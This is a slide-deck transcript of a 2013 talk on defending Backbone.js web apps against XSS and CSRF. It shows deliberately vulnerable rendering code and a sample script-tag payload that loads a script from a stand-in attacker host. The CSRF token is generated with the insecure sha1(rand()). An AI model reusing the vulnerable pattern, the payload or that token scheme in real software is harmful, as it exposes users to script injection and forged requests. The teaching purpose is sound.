Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Securing JavaScript Web Applications

Securing JavaScript Web Applications

Stephen Thomas

June 17, 2013
Tweet

More Decks by Stephen Thomas

Other Decks in Technology

Transcript

  1. [email protected] icon-comment icon-comment-alt icon-comments icon-comments-alt icon-credit-card icon-dashboard icon-download icon-download-alt icon-edit

    icon-envelope icon-envelope-alt icon-key icon-leaf icon-legal icon-lemon icon-lock icon-unlock icon-magic icon-magnet icon-map-marker icon-minus icon-minus-sign icon-resize-horiz icon-resize-verti icon-retweet icon-road icon-rss icon-screenshot icon-search icon-share icon-share-alt icon-shopping-c http://speakerdeck.com/sathomas icon-paper-clip icon-indent-right icon-tab Directional Icons icon-arrow-down icon-arrow-left icon-arrow-right icon-arrow-up icon-chevron-down icon-circle-arrow-down icon-circle-arrow-left icon-circle-arrow-right icon-circle-arrow-up icon-chevron-left icon-car icon-car icon-car icon-car icon-ch Video Player Icons icon-play-circle icon-play icon-step-backward icon-fast-backward icon-fas icon-ste Securing JavaScript Web Applications Stephen Thomas
  2. Most Common Attacks on Web Applications 1. Cross Site Scripting

    (XSS) 2. Cross Site Request Forgery (CSRF) (both are based on JavaScript) Source: Computer Weekly (quoting FireHost)
  3. Naively Collect Content var NewCommentView = Backbone.View.extend({ ... events: {

    "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = this.$('input[name=comment]').val(); this.model.save({newComment: newComment}); }, ... });
  4. Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  5. Naively Collect Content (including the script tag) var NewCommentView =

    Backbone.View.extend({ ... events: { "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = this.$('input[name=comment]').val(); this.model.save({newComment: newComment}); }, ... });
  6. Naively Render Content (including the script tag) var CommentView =

    Backbone.View.extend({ ... template: _.template('<p><%= comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  7. The Fix: Turn Bad Content I like your post! <script

    src="http://evil.web.site.com/badscript.js"> </script>
  8. The Fix: Into Safe Content I like your post! &lt;script

    src=&quot;http://evil.web.site.com/ badscript.js&quot;&gt; &lt;/script&gt;
  9. Escape on Input var NewCommentView = Backbone.View.extend({ ... events: {

    "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = _.escape( this.$('input[name=comment]').val() ); this.model.save({newComment: newComment}); }, ... });
  10. Escape on Input var NewCommentView = Backbone.View.extend({ ... events: {

    "click button": "save" }, save: function(ev){ ev.preventDefault(); var newComment = _.escape( this.$('input[name=comment]').val() ); this.model.save({newComment: newComment}); }, ... });
  11. Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  12. Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  13. Safely Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.text(this.template(this.model.toJSON())); }, ... });
  14. Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  15. Naively Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%=

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  16. Safely Render Content var CommentView = Backbone.View.extend({ ... template: _.template('<p><%-

    comment %></p>'), render: function(){ this.$el.html(this.template(this.model.toJSON())); }, ... });
  17. • JavaScript code loaded from suspicious.web.site.com can issue AJAX requests

    to your.web.app.com • If the user has a tab or window open to your.web.app.com, those AJAX requests will include your session authorization cookies. • Your server will think they’re legitimate requests and respond accordingly. The Vulnerability: AJAX Requests
  18. The Fix: Synchronization Tokens <?php setcookie("X-CSRF-Token", sha1(rand())); echo file_get_contents( "index.html"

    ); ?> • Server sends an additional cookie that is set to a random value.
  19. The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf)

    { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; }
  20. The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf)

    { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; } • Client reads the value of this special cookie.
  21. The Fix: Synchronization Tokens var csrf = readCookie("X-CSRF-Token"); if (csrf)

    { myApp.originalSync = Backbone.sync; Backbone.sync = function(method, model, options) { options || (options = {}); options.headers = { "X-CSRF-Token": csrf }; return myApp.originalSync(method,model,options); }; } • Client returns the value as a custom HTTP header.
  22. The Fix: Synchronization Tokens <?php if ($_SERVER['HTTP_X_CSRF_TOKEN'] != $_COOKIE['X-CSRF-Token']) {

    header('Status: 403 Forbidden'); exit(); } /* process request normally */ ?> • Server makes sure custom HTTP header is present and matches the cookie.
  23. Why Do Synchronization Tokens Work? Even though AJAX requests that

    suspicious.web.site.com makes to your.web.app.com will include your cookies, Javascript code from suspicious.web.site.com cannot read the values of those cookies. It cannot, therefore, set the custom HTTP header values for which your server is checking.
  24. Single Page Web Apps • Don’t re-learn old lessons the

    hard way. • Protect against JavaScript-based attacks such as XSS and CSRF. • Oh yeah, protect against other attacks (SQL Injection) also.